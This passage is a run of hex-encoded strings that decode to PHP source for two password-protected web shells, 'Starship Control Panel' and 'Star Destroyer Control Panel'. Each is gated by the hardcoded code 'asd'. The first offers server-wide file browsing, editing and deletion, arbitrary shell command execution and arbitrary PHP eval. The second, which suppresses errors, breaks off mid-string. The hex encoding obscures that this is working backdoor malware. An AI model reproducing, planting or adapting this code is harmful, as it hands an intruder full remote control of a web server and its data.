d2d2d2d202a2f0d0a646566696e6528275f5f535441525f474154455f5f272c202761736427293b0d0a0d0a636c617373205f5f415554485f5f207b0d0a202020207075626c6963207374617469632066756e6374696f6e205f5f696e69742829207b0d0a20202020202020202f2f20e6b3a8e994800d0a202020202020202069662028697373657428245f4745545b276c6f676f7574275d2929207b0d0a20202020202020202020202073657373696f6e5f64657374726f7928293b0d0a20202020202020202020202068656164657228274c6f636174696f6e3a203f27293b0d0a202020202020202020202020657869743b0d0a20202020202020207d0d0a20202020202020202f2f20e5b09de8af95e799bbe5bd950d0a202020202020202069662028697373657428245f504f53545b276163636573735f636f6465275d2929207b0d0a20202020202020202020202069662028245f504f53545b276163636573735f636f6465275d203d3d3d205f5f535441525f474154455f5f29207b0d0a20202020202020202020202020202020245f53455353494f4e5b27617574686f72697a6564275d203d20747275653b0d0a2020202020202020202020202020202068656164657228274c6f636174696f6e3a203f27293b0d0a20202020202020202020202020202020657869743b0d0a2020202020202020202020207d20656c7365207b0d0a202020202020202020202020202020202f2f20e799bbe5bd95e5a4b1e8b4a5efbc8ce4b8bae4ba86e5ae89e585a8e4b88de68f90e7a4bae585b7e4bd93e58e9fe59ba00d0a2020202020202020202020202020202068656164657228274c6f636174696f6e3a203f27293b0d0a20202020202020202020202020202020657869743b0d0a2020202020202020202020207d0d0a20202020202020207d0d0a20202020202020202f2f20e6a380e69fa5e68e88e69d830d0a20202020202020206966202821697373657428245f53455353494f4e5b27617574686f72697a6564275d29207c7c20245f53455353494f4e5b27617574686f72697a6564275d20213d3d207472756529207b0d0a20202020202020202020202073656c663a3a5f5f6c6f67696e5f73637265656e28293b0d0a202020202020202020202020657869743b0d0a20202020202020207d0d0a202020207d0d0a0d0a2020202070726976617465207374617469632066756e6374696f6e205f5f6c6f67696e5f73637265656e2829207b0d0a20202020202020206563686f20273c21444f43545950452068746d6c3e3c68746d6c3e3c686561643e3c6d65746120636861727365743d225554462d38223e3c7469746c653e5374617273686970204c6f67696e3c2f7469746c653e3c7374796c653e0d0a2020202020202020626f6479207b206d617267696e3a303b206865696768743a31303076683b20646973706c61793a666c65783b206a7573746966792d636f6e74656e743a63656e7465723b20616c69676e2d6974656d733a63656e7465723b200d0a2020202020202020202020202020206261636b67726f756e643a2072616469616c2d6772616469656e7428636972636c6520617420746f702c20233061306132612c2023303030303035293b200d0a202020202020202020202020202020666f6e742d66616d696c793a2022436f7572696572204e6577222c206d6f6e6f73706163653b20636f6c6f723a20233030666663633b207d0d0a20202020202020202e70616e656c207b20626f726465723a2031707820736f6c6964207267626128302c203235352c203230342c20302e33293b2070616464696e673a203430707820363070783b206261636b67726f756e643a207267626128352c352c32352c302e39293b20746578742d616c69676e3a63656e7465723b207d0d0a20202020202020206831207b206c65747465722d73706163696e673a203870783b206d617267696e2d626f74746f6d3a20333070783b20746578742d736861646f773a20302030203135707820233030666663633b207d0d0a2020202020202020696e707574207b206261636b67726f756e643a207472616e73706172656e743b20626f726465723a2031707820736f6c696420233030666663633b20636f6c6f723a20233030666663633b2070616464696e673a20313270783b2077696474683a2032383070783b20666f6e742d73697a653a20313670783b20746578742d616c69676e3a2063656e7465723b206f75746c696e653a206e6f6e653b207d0d0a2020202020202020627574746f6e207b206d617267696e2d746f703a20323070783b2070616464696e673a203132707820343070783b206261636b67726f756e643a20233030666663633b20626f726465723a206e6f6e653b20636f6c6f723a20233030303b20637572736f723a20706f696e7465723b20666f6e742d7765696768743a20626f6c643b206c65747465722d73706163696e673a203270783b207d0d0a2020202020202020627574746f6e3a686f766572207b20626f782d736861646f773a20302030203230707820233030666663633b207d0d0a20202020202020203c2f7374796c653e3c2f686561643e3c626f64793e3c64697620636c6173733d2270616e656c223e3c68313ef09f9a8020535441525348495020434f4e54524f4c3c2f68313e0d0a20202020202020203c666f726d206d6574686f643d22706f7374223e3c696e70757420747970653d2270617373776f726422206e616d653d226163636573735f636f64652220706c616365686f6c6465723d22456e7465722041636365737320436f646522206175746f666f6375733e3c62723e0d0a20202020202020203c627574746f6e20747970653d227375626d6974223e41555448454e5449434154453c2f627574746f6e3e3c2f666f726d3e3c2f6469763e3c2f626f64793e3c2f68746d6c3e273b0d0a202020207d0d0a7d0d0a0d0a2f2a202d2d2d2d20e5889de5a78be58c96e8aea4e8af81202d2d2d2d202a2f0d0a5f5f415554485f5f3a3a5f5f696e697428293b0d0a0d0a2f2a202d2d2d2d20322e20e58e9fe69c89e980bbe8be91e4bf9de68c81e4b88de58f98efbc88e5bc80e5a78befbc89202d2d2d2d202a2f0d0a2463757272656e745f646972203d20697373657428245f4745545b27646972275d29203f207265616c7061746828245f4745545b27646972275d29203a207265616c7061746828272e27293b0d0a69662028212463757272656e745f646972207c7c202169735f646972282463757272656e745f6469722929207b0d0a202020202463757272656e745f646972203d207265616c7061746828272e27293b0d0a7d0d0a2463757272656e745f646972203d20727472696d282463757272656e745f6469722c204449524543544f52595f534550415241544f5229202e204449524543544f52595f534550415241544f523b0d0a0d0a246d657373616765203d2022223b0d0a0d0a69662028697373657428245f504f53545b27616374696f6e275d2929207b0d0a2020202069662028245f504f53545b27616374696f6e275d203d3d20276d6b646972272026262021656d70747928245f504f53545b276e616d65275d2929207b0d0a202020202020202024746172676574203d202463757272656e745f646972202e20245f504f53545b276e616d65275d3b0d0a2020202020202020406d6b646972282474617267657429203f20246d657373616765203d20224469726563746f727920637265617465642e22203a20246d657373616765203d20224661696c656420746f20637265617465206469726563746f72792e223b0d0a202020207d0d0a2020202069662028245f504f53545b27616374696f6e275d203d3d20276d6b66696c65272026262021656d70747928245f504f53545b276e616d65275d2929207b0d0a202020202020202024746172676574203d202463757272656e745f646972202e20245f504f53545b276e616d65275d3b0d0a20202020202020204066696c655f7075745f636f6e74656e747328247461726765742c2022222920213d3d2066616c7365203f20246d657373616765203d202246696c6520637265617465642e22203a20246d657373616765203d20224661696c656420746f206372656174652066696c652e223b0d0a202020207d0d0a2020202069662028245f504f53545b27616374696f6e275d203d3d202765646974272026262021656d70747928245f504f53545b2766696c6570617468275d2929207b0d0a20202020202020204066696c655f7075745f636f6e74656e747328245f504f53545b2766696c6570617468275d2c20245f504f53545b27636f6e74656e74275d2920213d3d2066616c73650d0a2020202020202020202020203f20246d657373616765203d202246696c652073617665642e220d0a2020202020202020202020203a20246d657373616765203d20224661696c656420746f20736176652066696c652e223b0d0a202020207d0d0a7d0d0a0d0a69662028697373657428245f4745545b2764656c275d2929207b0d0a2020202024746172676574203d20245f4745545b2764656c275d3b0d0a202020206966202869735f66696c6528247461726765742929207b0d0a202020202020202040756e6c696e6b282474617267657429203f20246d657373616765203d202246696c652064656c657465642e22203a20246d657373616765203d202244656c657465206661696c65642e223b0d0a202020207d20656c73656966202869735f64697228247461726765742929207b0d0a202020202020202040726d646972282474617267657429203f20246d657373616765203d20224469722064656c657465642e22203a20246d657373616765203d202244656c657465206661696c656420286e6f7420656d7074793f292e223b0d0a202020207d0d0a7d0d0a0d0a24746f74616c5f7370616365203d20406469736b5f746f74616c5f7370616365282463757272656e745f64697229203f20726f756e64286469736b5f746f74616c5f7370616365282463757272656e745f64697229202f202831303234202a2031303234202a2031303234292c203229203a20303b0d0a24667265655f7370616365203d20406469736b5f667265655f7370616365282463757272656e745f64697229203f20726f756e64286469736b5f667265655f7370616365282463757272656e745f64697229202f202831303234202a2031303234202a2031303234292c203229203a20303b0d0a24667265655f70657263656e74203d2024746f74616c5f7370616365203f20726f756e64282824667265655f7370616365202f2024746f74616c5f737061636529202a203130302c203229203a20303b0d0a0d0a2466696c6573203d205b5d3b0d0a69662028246468203d20406f70656e646972282463757272656e745f6469722929207b0d0a202020207768696c652028282466696c65203d207265616464697228246468292920213d3d2066616c736529207b0d0a2020202020202020696620282466696c65203d3d20272e272920636f6e74696e75653b0d0a20202020202020202466696c6570617468203d202463757272656e745f646972202e202466696c653b0d0a20202020202020202466696c65735b5d203d205b0d0a202020202020202020202020276e616d6527203d3e202466696c652c0d0a202020202020202020202020277061746827203d3e202466696c65706174682c0d0a2020202020202020202020202769735f64697227203d3e2069735f646972282466696c6570617468292c0d0a2020202020202020202020202773697a6527203d3e2069735f646972282466696c657061746829203f202764697227203a20726f756e642866696c6573697a65282466696c657061746829202f20313032342c203229202e2027204b42272c0d0a202020202020202020202020277065726d7327203d3e2073756273747228737072696e74662827256f272c204066696c657065726d73282466696c657061746829292c202d34292c0d0a202020202020202020202020276d74696d6527203d3e20646174652822592d6d2d6420483a693a73222c204066696c656d74696d65282466696c657061746829290d0a20202020202020205d3b0d0a202020207d0d0a20202020636c6f736564697228246468293b0d0a7d0d0a0d0a75736f7274282466696c65732c2066756e6374696f6e2824612c20246229207b0d0a202020206966202824615b2769735f646972275d203d3d2024625b2769735f646972275d292072657475726e207374726e617463617365636d702824615b276e616d65275d2c2024625b276e616d65275d293b0d0a2020202072657475726e2024615b2769735f646972275d203f202d31203a20313b0d0a7d293b0d0a2f2a202d2d2d2d20e58e9fe69c89e980bbe8be91e4bf9de68c81e4b88de58f98efbc88e7bb93e69d9fefbc89202d2d2d2d202a2f0d0a3f3e0d0a3c21444f43545950452068746d6c3e0d0a3c68746d6c206c616e673d227a682d434e223e0d0a3c686561643e0d0a202020203c6d65746120636861727365743d225554462d38223e0d0a202020203c7469746c653e537461727368697020436f6e74726f6c2050616e656c3c2f7469746c653e0d0a202020203c7374796c653e0d0a2020202020202020626f6479207b20666f6e742d66616d696c793a2022436f7572696572204e6577222c206d6f6e6f73706163653b206261636b67726f756e643a20233035303531303b20636f6c6f723a20236330633063303b206d617267696e3a20313570783b20666f6e742d73697a653a20313370783b207d0d0a202020202020202061207b20636f6c6f723a20233030666663633b20746578742d6465636f726174696f6e3a206e6f6e653b207472616e736974696f6e3a20616c6c20302e33733b207d0d0a2020202020202020613a686f766572207b20746578742d736861646f773a203020302038707820233030666663633b207d0d0a20202020202020200d0a20202020202020202f2a20486561646572202a2f0d0a20202020202020202e6865616465722d626f78207b206261636b67726f756e643a206c696e6561722d6772616469656e742839306465672c20233061306132612c2023313131313333293b20626f726465723a2031707820736f6c6964202330306666636333333b2070616464696e673a203130707820313570783b206c696e652d6865696768743a20312e363b206d617267696e2d626f74746f6d3a20313070783b207d0d0a20202020202020202e6865616465722d626f78207374726f6e67207b20636f6c6f723a20233030666663633b207d0d0a20202020202020202e706174682d6c696e6b2061207b20636f6c6f723a20233030666663633b20666f6e742d7765696768743a20626f6c643b207d0d0a20202020202020200d0a20202020202020202f2a204e6176202a2f0d0a20202020202020202e6e61762d626172207b206261636b67726f756e643a20233066306632663b2070616464696e673a2038707820313570783b20626f726465723a2031707820736f6c6964202330306666636333333b206d617267696e2d626f74746f6d3a20313570783b20646973706c61793a20666c65783b206761703a20323070783b207d0d0a20202020202020202e6e61762d6261722061207b20636f6c6f723a20236666663b20666f6e742d7765696768743a20626f6c643b207d0d0a20202020202020202e6e61762d626172207370616e207b20636f6c6f723a20233838383b206d617267696e2d6c6566743a206175746f3b207d0d0a20202020202020200d0a20202020202020202f2a205461626c65202a2f0d0a20202020202020207461626c65207b2077696474683a20313030253b20626f726465722d636f6c6c617073653a20636f6c6c617073653b206d617267696e2d746f703a20313070783b206261636b67726f756e643a20233061306131613b207d0d0a202020202020202074682c207464207b2070616464696e673a2038707820313070783b20746578742d616c69676e3a206c6566743b20626f726465723a2031707820736f6c6964202330306666636332323b207d0d0a20202020202020207468207b206261636b67726f756e643a20233131313133333b20636f6c6f723a20233030666663633b207d0d0a202020202020202074723a686f766572207b206261636b67726f756e643a20233135313533613b207d0d0a20202020202020200d0a20202020202020202f2a2053656374696f6e73202a2f0d0a20202020202020202e73656374696f6e2d626f78207b206261636b67726f756e643a20233061306131613b2070616464696e673a20313570783b20626f726465723a2031707820736f6c6964202330306666636333333b206d617267696e2d746f703a20313570783b207d0d0a20202020202020202e73656374696f6e2d626f78206833207b206d617267696e2d746f703a20303b20636f6c6f723a20233030666663633b20626f726465722d626f74746f6d3a2031707820736f6c6964202330306666636333333b2070616464696e672d626f74746f6d3a203870783b207d0d0a20202020202020200d0a2020202020202020696e7075742c207465787461726561207b206261636b67726f756e643a20233035303531303b20636f6c6f723a20233030666663633b20626f726465723a2031707820736f6c6964202330306666636335353b2070616464696e673a203670783b20666f6e742d66616d696c793a206d6f6e6f73706163653b207d0d0a2020202020202020696e7075745b747970653d227375626d6974225d2c20627574746f6e207b206261636b67726f756e643a20233030666663633b20636f6c6f723a20233030303b20626f726465723a206e6f6e653b2070616464696e673a2036707820313570783b20637572736f723a20706f696e7465723b20666f6e742d7765696768743a20626f6c643b207d0d0a2020202020202020696e7075745b747970653d227375626d6974225d3a686f7665722c20627574746f6e3a686f766572207b20626f782d736861646f773a20302030203135707820233030666663633b207d0d0a20202020202020202e6d7367207b20636f6c6f723a20236666333333333b20666f6e742d7765696768743a20626f6c643b206d617267696e3a203130707820303b207d0d0a2020202020202020707265207b206261636b67726f756e643a20233030303b20636f6c6f723a20233030666630303b2070616464696e673a20313070783b20626f726465723a2031707820736f6c6964202330306666636333333b206f766572666c6f773a206175746f3b20776f72642d777261703a20627265616b2d776f72643b2077686974652d73706163653a207072652d777261703b207d0d0a202020203c2f7374796c653e0d0a3c2f686561643e0d0a3c626f64793e0d0a0d0a3c64697620636c6173733d226865616465722d626f78223e0d0a202020203c7374726f6e673e53797374656d3a3c2f7374726f6e673e203c3f706870206563686f207068705f756e616d6528293b203f3e3c62723e0d0a202020203c7374726f6e673e557365723a3c2f7374726f6e673e203c3f706870206563686f20406765746d797569642829202e2022202822202e20406765745f63757272656e745f757365722829202e202229223b203f3e0d0a202020203c7374726f6e673e5048503a3c2f7374726f6e673e203c3f706870206563686f2070687076657273696f6e28293b203f3e0d0a202020203c7374726f6e673e53616665204d6f64653a3c2f7374726f6e673e203c7370616e207374796c653d22636f6c6f723a203c3f706870206563686f20696e695f6765742827736166655f6d6f64652729203f20272366663333333327203a202723303066666363273b203f3e223e3c3f706870206563686f20696e695f6765742827736166655f6d6f64652729203f20274f4e27203a20274f4646273b203f3e3c2f7370616e3e3c62723e0d0a202020203c7374726f6e673e53746f726167653a3c2f7374726f6e673e203c3f706870206563686f2024746f74616c5f73706163653b203f3e204742203c7374726f6e673e467265653a3c2f7374726f6e673e203c3f706870206563686f2024667265655f73706163653b203f3e20474220283c3f706870206563686f2024667265655f70657263656e743b203f3e25293c62723e0d0a202020203c7374726f6e673e506174683a3c2f7374726f6e673e200d0a202020203c7370616e20636c6173733d22706174682d6c696e6b223e0d0a20202020202020203c3f706870200d0a2020202020202020246368756e6b73203d206578706c6f6465284449524543544f52595f534550415241544f522c20727472696d282463757272656e745f6469722c204449524543544f52595f534550415241544f5229293b0d0a202020202020202024616363203d2022223b0d0a20202020202020206563686f20223c6120687265663d273f6469723d222e75726c656e636f6465284449524543544f52595f534550415241544f52292e22273e2f3c2f613e223b0d0a2020202020202020666f72656163682028246368756e6b7320617320246368756e6b29207b0d0a20202020202020202020202069662028246368756e6b203d3d3d2022222920636f6e74696e75653b0d0a20202020202020202020202024616363202e3d20246368756e6b202e204449524543544f52595f534550415241544f523b0d0a2020202020202020202020206563686f20223c6120687265663d273f6469723d222e75726c656e636f64652824616363292e22273e246368756e6b3c2f613e2f223b0d0a20202020202020207d0d0a20202020202020203f3e0d0a202020203c2f7370616e3e0d0a3c2f6469763e0d0a0d0a3c64697620636c6173733d226e61762d626172223e0d0a202020203c6120687265663d223f6469723d3c3f706870206563686f2075726c656e636f6465282463757272656e745f646972293b203f3e26616374696f6e3d706870696e666f223e5b2050485020496e666f205d3c2f613e0d0a202020203c6120687265663d223f6469723d3c3f706870206563686f2075726c656e636f6465282463757272656e745f646972293b203f3e223e5b2046696c6573205d3c2f613e0d0a202020203c6120687265663d222365786563223e5b2045786563205d3c2f613e0d0a202020203c6120687265663d22236576616c223e5b204576616c205d3c2f613e0d0a202020203c6120687265663d223f6c6f676f75743d3122207374796c653d22636f6c6f723a236666333333333b223e5b204c6f676f7574205d3c2f613e0d0a202020203c7370616e3e5374617273686970204f532076322e303c2f7370616e3e0d0a3c2f6469763e0d0a0d0a3c3f7068702069662821656d70747928246d6573736167652929206563686f20223c7020636c6173733d276d7367273e53797374656d204d6573736167653a20246d6573736167653c2f703e223b203f3e0d0a0d0a3c3f7068702069662028697373657428245f4745545b27616374696f6e275d2920262620245f4745545b27616374696f6e275d203d3d2027706870696e666f27293a203f3e0d0a202020203c64697620636c6173733d2273656374696f6e2d626f78223e0d0a20202020202020203c68333ee284b9efb88f2050485020436f6e66696775726174696f6e3c2f68333e0d0a20202020202020203c696672616d65207372633d223f6469723d3c3f706870206563686f2075726c656e636f6465282463757272656e745f646972293b203f3e2672656e6465723d706870696e666f22207374796c653d2277696474683a313030253b206865696768743a34303070783b206261636b67726f756e643a236666663b20626f726465723a6e6f6e653b223e3c2f696672616d653e0d0a202020203c2f6469763e0d0a3c3f706870200d0a656e6469663b200d0a69662028697373657428245f4745545b2772656e646572275d2920262620245f4745545b2772656e646572275d203d3d2027706870696e666f2729207b0d0a202020206f625f636c65616e28293b20706870696e666f28293b20657869743b0d0a7d0d0a3f3e0d0a0d0a3c7461626c653e0d0a202020203c74686561643e0d0a20202020202020203c74723e0d0a2020202020202020202020203c74683e4e616d653c2f74683e3c74683e53697a653c2f74683e3c74683e4d6f6469666965643c2f74683e3c74683e5065726d733c2f74683e3c74683e416374696f6e3c2f74683e0d0a20202020202020203c2f74723e0d0a202020203c2f74686561643e0d0a202020203c74626f64793e0d0a20202020202020203c74723e0d0a2020202020202020202020203c74643e3c6120687265663d223f6469723d3c3f706870206563686f2075726c656e636f6465286469726e616d65282463757272656e745f64697229293b203f3e22207374796c653d22636f6c6f723a20233030666663633b223ee38090202e2e20e3809128506172656e74293c2f613e3c2f74643e0d0a2020202020202020202020203c74643e6469723c2f74643e3c74643e2d3c2f74643e3c74643e2d3c2f74643e3c74643e2d3c2f74643e0d0a20202020202020203c2f74723e0d0a20202020202020203c3f70687020666f726561636820282466696c6573206173202466293a203f3e0d0a20202020202020203c74723e0d0a2020202020202020202020203c74643e0d0a202020202020202020202020202020203c3f706870206966202824665b2769735f646972275d293a203f3e0d0a20202020202020202020202020202020202020203c6120687265663d223f6469723d3c3f706870206563686f2075726c656e636f64652824665b2770617468275d293b203f3e223e5b203c3f706870206563686f2024665b276e616d65275d3b203f3e205d3c2f613e0d0a202020202020202020202020202020203c3f70687020656c73653a203f3e0d0a20202020202020202020202020202020202020203c6120687265663d223f6469723d3c3f706870206563686f2075726c656e636f6465282463757272656e745f646972293b203f3e26766965773d3c3f706870206563686f2075726c656e636f64652824665b2770617468275d293b203f3e223e3c3f706870206563686f2024665b276e616d65275d3b203f3e3c2f613e0d0a202020202020202020202020202020203c3f70687020656e6469663b203f3e0d0a2020202020202020202020203c2f74643e0d0a2020202020202020202020203c74643e3c3f706870206563686f2024665b2773697a65275d3b203f3e3c2f74643e0d0a2020202020202020202020203c74643e3c3f706870206563686f2024665b276d74696d65275d3b203f3e3c2f74643e0d0a2020202020202020202020203c74643e3c3f706870206563686f2024665b277065726d73275d3b203f3e3c2f74643e0d0a2020202020202020202020203c74643e0d0a202020202020202020202020202020203c3f70687020696620282124665b2769735f646972275d293a203f3e0d0a20202020202020202020202020202020202020203c6120687265663d223f6469723d3c3f706870206563686f2075726c656e636f6465282463757272656e745f646972293b203f3e26656469743d3c3f706870206563686f2075726c656e636f64652824665b2770617468275d293b203f3e223e456469743c2f613e207c200d0a202020202020202020202020202020203c3f70687020656e6469663b203f3e0d0a202020202020202020202020202020203c6120687265663d223f6469723d3c3f706870206563686f2075726c656e636f6465282463757272656e745f646972293b203f3e2664656c3d3c3f706870206563686f2075726c656e636f64652824665b2770617468275d293b203f3e22206f6e636c69636b3d2272657475726e20636f6e6669726d2827436f6e6669726d2044656c6574653f2729223e44656c6574653c2f613e0d0a2020202020202020202020203c2f74643e0d0a20202020202020203c2f74723e0d0a20202020202020203c3f70687020656e64666f72656163683b203f3e0d0a202020203c2f74626f64793e0d0a3c2f7461626c653e0d0a0d0a3c3f7068702069662028697373657428245f4745545b2776696577275d29293a2024766965775f70617468203d20245f4745545b2776696577275d3b206966202869735f66696c652824766965775f7061746829293a203f3e0d0a202020203c64697620636c6173733d2273656374696f6e2d626f78223e0d0a20202020202020203c68333ef09f948d2056696577696e673a203c3f706870206563686f2068746d6c7370656369616c636861727328626173656e616d652824766965775f7061746829293b203f3e3c2f68333e0d0a20202020202020203c7072653e3c3f706870206563686f2068746d6c7370656369616c63686172732866696c655f6765745f636f6e74656e74732824766965775f7061746829293b203f3e3c2f7072653e0d0a202020203c2f6469763e0d0a3c3f70687020656e6469663b20656e6469663b203f3e0d0a0d0a3c3f7068702069662028697373657428245f4745545b2765646974275d29293a2024656469745f70617468203d20245f4745545b2765646974275d3b206966202869735f66696c652824656469745f7061746829293a203f3e0d0a202020203c64697620636c6173733d2273656374696f6e2d626f78223e0d0a20202020202020203c68333ef09f939d2045646974696e673a203c3f706870206563686f2068746d6c7370656369616c636861727328626173656e616d652824656469745f7061746829293b203f3e3c2f68333e0d0a20202020202020203c666f726d206d6574686f643d22504f53542220616374696f6e3d223f6469723d3c3f706870206563686f2075726c656e636f6465282463757272656e745f646972293b203f3e223e0d0a2020202020202020202020203c696e70757420747970653d2268696464656e22206e616d653d22616374696f6e222076616c75653d2265646974223e0d0a2020202020202020202020203c696e70757420747970653d2268696464656e22206e616d653d2266696c6570617468222076616c75653d223c3f706870206563686f2068746d6c7370656369616c63686172732824656469745f70617468293b203f3e223e0d0a2020202020202020202020203c7465787461726561206e616d653d22636f6e74656e7422207374796c653d2277696474683a313030253b206865696768743a32353070783b223e3c3f706870206563686f2068746d6c7370656369616c63686172732866696c655f6765745f636f6e74656e74732824656469745f7061746829293b203f3e3c2f74657874617265613e3c62723e3c62723e0d0a2020202020202020202020203c696e70757420747970653d227375626d6974222076616c75653d2253617665204368616e676573223e0d0a20202020202020203c2f666f726d3e0d0a202020203c2f6469763e0d0a3c3f70687020656e6469663b20656e6469663b203f3e0d0a0d0a3c64697620636c6173733d2273656374696f6e2d626f78223e0d0a202020203c68333ef09f938120437265617465204e65773c2f68333e0d0a202020203c666f726d206d6574686f643d22504f53542220616374696f6e3d223f6469723d3c3f706870206563686f2075726c656e636f6465282463757272656e745f646972293b203f3e22207374796c653d22646973706c61793a696e6c696e652d626c6f636b3b206d617267696e2d72696768743a333070783b223e0d0a20202020202020203c696e70757420747970653d2268696464656e22206e616d653d22616374696f6e222076616c75653d226d6b646972223e20466f6c6465723a200d0a20202020202020203c696e70757420747970653d227465787422206e616d653d226e616d652220706c616365686f6c6465723d22666f6c6465725f6e616d65222072657175697265643e0d0a20202020202020203c696e70757420747970653d227375626d6974222076616c75653d22437265617465223e0d0a202020203c2f666f726d3e0d0a202020203c666f726d206d6574686f643d22504f53542220616374696f6e3d223f6469723d3c3f706870206563686f2075726c656e636f6465282463757272656e745f646972293b203f3e22207374796c653d22646973706c61793a696e6c696e652d626c6f636b3b223e0d0a20202020202020203c696e70757420747970653d2268696464656e22206e616d653d22616374696f6e222076616c75653d226d6b66696c65223e2046696c653a200d0a20202020202020203c696e70757420747970653d227465787422206e616d653d226e616d652220706c616365686f6c6465723d2266696c652e747874222072657175697265643e0d0a20202020202020203c696e70757420747970653d227375626d6974222076616c75653d22437265617465223e0d0a202020203c2f666f726d3e0d0a3c2f6469763e0d0a0d0a3c6469762069643d22657865632220636c6173733d2273656374696f6e2d626f78223e0d0a202020203c68333ef09f92bb20436f6d6d616e6420457865637574696f6e3c2f68333e0d0a202020203c666f726d206d6574686f643d22504f53542220616374696f6e3d223f6469723d3c3f706870206563686f2075726c656e636f6465282463757272656e745f646972293b203f3e2365786563223e0d0a2020202020202020436f6d6d616e643a203c696e70757420747970653d227465787422206e616d653d22636d6422207374796c653d2277696474683a203630253b222076616c75653d223c3f706870206563686f20697373657428245f504f53545b27636d64275d29203f2068746d6c7370656369616c636861727328245f504f53545b27636d64275d29203a2027273b203f3e2220706c616365686f6c6465723d226c73202d6c61223e0d0a20202020202020203c696e70757420747970653d227375626d6974222076616c75653d2245786563757465223e0d0a202020203c2f666f726d3e0d0a202020203c3f7068700d0a202020206966202821656d70747928245f504f53545b27636d64275d2929207b0d0a20202020202020206563686f20223c7072653e223b0d0a202020202020202024636d64203d202263642022202e206573636170657368656c6c617267282463757272656e745f64697229202e20222026262022202e20245f504f53545b27636d64275d3b0d0a20202020202020206563686f2068746d6c7370656369616c6368617273287368656c6c5f657865632824636d64202e202220323e26312229293b0d0a20202020202020206563686f20223c2f7072653e223b0d0a202020207d0d0a202020203f3e0d0a3c2f6469763e0d0a0d0a3c6469762069643d226576616c2220636c6173733d2273656374696f6e2d626f78223e0d0a202020203c68333ef09fa7ac2050485020436f6465204576616c3c2f68333e0d0a202020203c666f726d206d6574686f643d22504f53542220616374696f6e3d223f6469723d3c3f706870206563686f2075726c656e636f6465282463757272656e745f646972293b203f3e236576616c223e0d0a20202020202020203c7465787461726561206e616d653d227068705f636f646522207374796c653d2277696474683a313030253b206865696768743a31303070783b2220706c616365686f6c6465723d226563686f202748656c6c6f20576f726c64273b223e3c3f706870206563686f20697373657428245f504f53545b277068705f636f6465275d29203f2068746d6c7370656369616c636861727328245f504f53545b277068705f636f6465275d29203a2027273b203f3e3c2f74657874617265613e3c62723e3c62723e0d0a20202020202020203c696e70757420747970653d227375626d6974222076616c75653d2252756e20436f6465223e0d0a202020203c2f666f726d3e0d0a202020203c3f7068700d0a202020206966202821656d70747928245f504f53545b277068705f636f6465275d2929207b0d0a20202020202020206563686f20223c68343e4f75747075743a3c2f68343e3c7072653e223b0d0a20202020202020206f625f737461727428293b0d0a2020202020202020747279207b206576616c28245f504f53545b277068705f636f6465275d293b207d0d0a2020202020202020636174636820285468726f7761626c6520246529207b206563686f20224572726f723a2022202e2024652d3e6765744d65737361676528293b207d0d0a20202020202020206563686f2068746d6c7370656369616c6368617273286f625f6765745f636c65616e2829293b0d0a20202020202020206563686f20223c2f7072653e223b0d0a202020207d0d0a202020203f3e0d0a3c2f6469763e0d0a0d0a3c2f626f64793e0d0a3c2f68746d6c3e","3c3f7068700d0a2f2a203d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d0d0a202020f09f9bb0efb88f20537461722044657374726f79657220436f6e74726f6c2050616e656c0d0a2020203d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d202a2f0d0a73657373696f6e5f737461727428293b0d0a6572726f725f7265706f7274696e672830293b0d0a696e695f7365742827646973706c61795f6572726f7273272c2030293b0d0a0d0a2f2a202d2d2d2d20312e20e6989fe888b0e8aea4e8af81202d2d2d2d202a2f0d0a646566696e65282753445f41555448272c202761736427293b0d0a0d0a69662028697373657428245f4745545b276c6f676f7574275d2929207b2073657373696f6e5f64657374726f7928293b2068656164657228274c6f636174696f6e3a203f27293b20657869743b207d0d0a69662028697373657428245f504f53545b27707764275d2929207b0d0a2020202069662028245f504f53545b27707764275d203d3d3d2053445f4155544829207b0d0a2020202020202020245f53455353494f4e5b2773645f61757468275d203d20313b0d0a202020207d0d0a2020202068656164657228274c6f636174696f6e3a203f27293b0d0a20202020657869743b0d0a7d0d0a6966202821697373657428245f53455353494f4e5b2773645f61757468275d2929207b0d0a202020206563686f20273c21444f43545950452068746d6c3e3c68746d6c3e3c686561643e3c6d65746120636861727365743d225554462d38223e3c7469746c653e5344204c6f67696e3c2f7469746c653e3c7374796c653e0d0a20202020626f64797b6261636b67726f756e643a233030303b636f6c6f723a236634343333363b666f6e742d66616d696c793a22436f7572696572204e6577222c6d6f6e6f73706163653b646973706c61793a666c65783b6a7573746966792d636f6e74656e743a63656e7465723b616c69676e2d6974656d733a63656e7465723b6865696768743a31303076683b6d617267696e3a303b7d0d0a202020206469767b626f726465723a32707820736f6c696420236634343333363b70616464696e673a353070783b746578742d616c69676e3a63656e7465723b6261636b67726f756e643a726762612832302c302c302c2e39293b7d0d0a2020202068317b6c65747465722d73706163696e673a313070783b6d617267696e2d626f74746f6d3a333070783b7d0d0a20202020696e7075747b6261636b67726f756e643a233030303b636f6c6f723a236634343333363b626f726465723a31707820736f6c696420236634343333363b70616464696e673a313270783b77696474683a32383070783b746578742d616c69676e3a63656e7465723b6f75746c696e653a6e6f6e653b7d0d0a20202020627574746f6e7b6d617267696e2d746f703a323070783b70616464696e673a3132707820343070783b6261636b67726f756e643a236634343333363b636f6c6f723a233030303b626f726465723a6e6f6e653b666f6e742d7765696768743a626f6c643b637572736f723a706f696e7465723b7d0d0a202020203c2f7374796c653e3c2f686561643e3c626f64793e3c6469763e3c68313ef09f9bb0efb88f20535441522044455354524f5945523c2f68313e0d0a202020203c666f726d206d6574686f643d22706f7374223e3c696e707574206e616d653d227077642220747970653d2270617373776f72642220706c616365686f6c6465723d2241636365737320436f646522206175746f666f6375733e3c62723e0d0a202020203c627574746f6e20747970653d227375626d6974223e41555448454e5449434154453c2f627574746f6e3e3c2f666f726d3e3c2f6469763e3c2f626f64793e3c2f68746d6c3e273b0d0a20202020657869743b0d0a7d0d0a0d0a2f2a202d2d2d2d20322e20e58e9fe69c89e980bbe8be91e5a484e79086202d2d2d2d202a2f0d0a24637572203d20697373657428245f4745545b27646972275d29203f207265616c7061746828245f4745545b27646972275d29203a207265616c7061746828272e27293b0d0a696620282124637572207c7c202169735f646972282463757229292024637572203d207265616c7061746828272e27293b0d0a24637572203d20727472696d28246375722c204449524543544f52595f534550415241544f5229202e204449524543544f52595f534550415241544f523b0d0a0d0a246d7367203d2027273b0d0a0d0a2f2a20e4b88ae4bca0e